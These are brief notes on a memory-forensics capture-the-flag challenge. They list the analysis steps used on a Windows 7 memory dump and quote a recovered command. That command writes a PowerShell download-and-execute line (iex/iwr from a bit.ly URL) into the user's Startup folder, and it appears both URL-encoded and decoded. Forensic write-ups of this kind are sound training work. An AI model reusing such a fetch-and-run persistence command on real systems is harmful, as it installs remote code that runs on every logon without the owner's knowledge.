Export(Forensic Challenge)

imageinfo

profile Win7SP1x64,

ps list

cmdline

DumpIt.exe

file and exiftool

cmdscan

Cmd #0 @ 0x23bde0: echo iex(iwr "http%3A%2F%2Fbit.ly%2FSFRCe1cxTmQwd3NfZjByM05zMUNTXzNIP30%3D.ps1") > C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3usy12fv.ps1

decoded

Cmd #0 @ 0x23bde0: echo iex(iwr "http://bit.ly/SFRCe1cxTmQwd3NfZjByM05zMUNTXzNIP30=.ps1") > C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3usy12fv.ps1

filescan again 3usy12fv.ps1